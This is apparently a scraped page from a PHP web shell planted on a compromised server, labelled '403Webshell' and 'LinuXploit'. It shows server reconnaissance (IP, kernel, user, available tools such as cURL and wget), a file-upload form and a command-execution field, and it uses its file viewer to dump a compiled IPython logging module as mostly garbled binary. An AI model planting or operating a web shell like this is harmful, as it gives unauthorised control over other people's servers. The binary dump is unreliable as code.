403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/IPython/core/magics/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/IPython/core/magics/__pycache__/logging.cpython-311.pyc
�

�@�c���r�dZddlZddlZddlmZmZmZddlmZddl	m
Z
eGd�de����ZdS)z=Implementation of magic functions for IPython's own logging.
�N)�Magics�magics_class�
line_magic)�warn)�Boolc���eZdZdZedd����d���Zedd���Zedd	���Z	edd
���Z
edd���Zedd���Zd
S)�
LoggingMagicsz(Magics related to all logging machinery.FzF
        Suppress output of log state when logging is enabled
        )�helpT)�config�c�d�|�|d��\}}d|v}d|v}d|v}d|v}|jj}|r$	|���\}	}
n#|}	d}
YnxYw|j}	|j}
|jj}|	rtj�	|	��}	|	|j_d}	|�
|	||
|||��|rd|_|r|jjj
}
n|jjj}
|r�|j}|jjj}t#d	t%|
��d	z
��D]K}||
|���d
z��||vr|t)||��d���LnE|�d
�|
d	d�����|�d
��|rd
|_|js'|s't/d��|���dSdSdS#||j_t3dt5j��d	z��YdSxYw)a�Start logging anywhere in a session.

        %logstart [-o|-r|-t|-q] [log_name [log_mode]]

        If no name is given, it defaults to a file named 'ipython_log.py' in your
        current directory, in 'rotate' mode (see below).

        '%logstart name' saves to file 'name' in 'backup' mode.  It saves your
        history up to that point and then continues logging.

        %logstart takes a second optional parameter: logging mode. This can be one
        of (note that the modes are given unquoted):

        append
            Keep logging at the end of any existing file.

        backup
            Rename any existing file to name~ and start name.

        global
            Append to  a single logfile in your home directory.

        over
            Overwrite any existing log.

        rotate
            Create rotating logs: name.1~, name.2~, etc.

        Options:

          -o
            log also IPython's output. In this mode, all commands which
            generate an Out[NN] prompt are recorded to the logfile, right after
            their corresponding input line. The output lines are always
            prepended with a '#[Out]# ' marker, so that the log remains valid
            Python code.

          Since this marker is always the same, filtering only the output from
          a log is very easy, using for example a simple awk call::

            awk -F'#\[Out\]# ' '{if($2) {print $2}}' ipython_log.py

          -r
            log 'raw' input.  Normally, IPython's logs contain the processed
            input, so that user lines are logged in their final form, converted
            into valid Python.  For example, %Exit is logged as
            _ip.magic("Exit").  If the -r flag is given, all input is logged
            exactly as typed, with no transformations applied.

          -t
            put timestamps before each input line logged (these are put in
            comments).

          -q 
            suppress output of logstate message when logging is invoked
        �ortq�o�r�t�q�backupz# IPython log file

F��
�outputNTzGActivating auto-logging. Current session state plus future input saved.zCouldn't start log: %s)�
parse_options�shell�logger�split�logfname�logmode�logfile�os�path�
expanduser�logstart�	timestamp�history_manager�input_hist_raw�input_hist_parsed�	log_write�output_hist�range�len�rstrip�repr�join�quiet�print�logstater�sys�exc_info)�self�parameter_s�opts�par�
log_output�
log_raw_inputr"r-rrr�old_logfile�loghead�
input_histr&r'�ns                 �=/usr/lib/python3/dist-packages/IPython/core/magics/logging.pyr!zLoggingMagics.logstart&s���v�%�%�k�&�9�9���S��D�[�
��t��
��4�K�	��t�����"���	%�
#�#&�9�9�;�;� �����
#���"���������H��n�G��j�(���	4��w�)�)�(�3�3�H�%��
��+��%	"��O�O�H�g�w�
�I�)�
+�
+�
+��
)�$)�� ��
J�!�Z�7�F�
�
�!�Z�7�I�
��	
(�"�,�	�"�j�8�D���q��Z����!2�3�3�A�A�A��I�j��m�2�2�4�4�u�<�=�=�=��K�'�'�!�	�$�{�1�~�"6�"6�x�@�@�@��A�
� � ����J�q�r�r�N�!;�!;�<�<�<�� � ��'�'�'��
(�#'�� ��J�
"�%�
"��H�I�I�I����!�!�!�!�!�
"�
"�
"�
"��?	?�!,�D�J���)�C�L�N�N�1�,=�=�>�>�>�>�>�>���s�A�A�&G5�57H/c�B�|jj���dS)z�Fully stop logging and close log file.

        In order to start logging again, a new %logstart call needs to be made,
        possibly (though not necessarily) with a new filename, mode and other
        options.N)rr�logstop�r2r3s  r<r>zLoggingMagics.logstop�s!��	
�
��!�!�#�#�#�#�#�c�D�|jj�d��dS)zLTemporarily stop logging.

        You must have previously started logging.rN�rr�
switch_logr?s  r<�logoffzLoggingMagics.logoff�s#��
	
�
��$�$�Q�'�'�'�'�'r@c�D�|jj�d��dS)aRestart logging.

        This function is for restarting logging which you've temporarily
        stopped with %logoff. For starting logging for the first time, you
        must use the %logstart function, which allows you to specify an
        optional log filename.rNrBr?s  r<�logonzLoggingMagics.logon�s#��	
�
��$�$�Q�'�'�'�'�'r@c�B�|jj���dS)z'Print the status of the logging system.N)rrr/r?s  r<r/zLoggingMagics.logstate�s!��	
�
��"�"�$�$�$�$�$r@N)r)
�__name__�
__module__�__qualname__�__doc__r�tagr-rr!r>rDrFr/�r@r<r	r	s�������2�2��D��	�
�
�
�
�c��c���	
��{"�{"�{"��Z�{"�z�$�$�$��Z�$��(�(�(��Z�(��(�(�(��Z�(��%�%�%��Z�%�%�%r@r	)rKrr0�IPython.core.magicrrr�warningsr�	traitletsrr	rMr@r<�<module>rQs�����
�	�	�	�
�
�
�
�@�?�?�?�?�?�?�?�?�?��������������f%�f%�f%�f%�f%�F�f%�f%���f%�f%�f%r@

Youez - 2016 - github.com/yon3zu
LinuXploit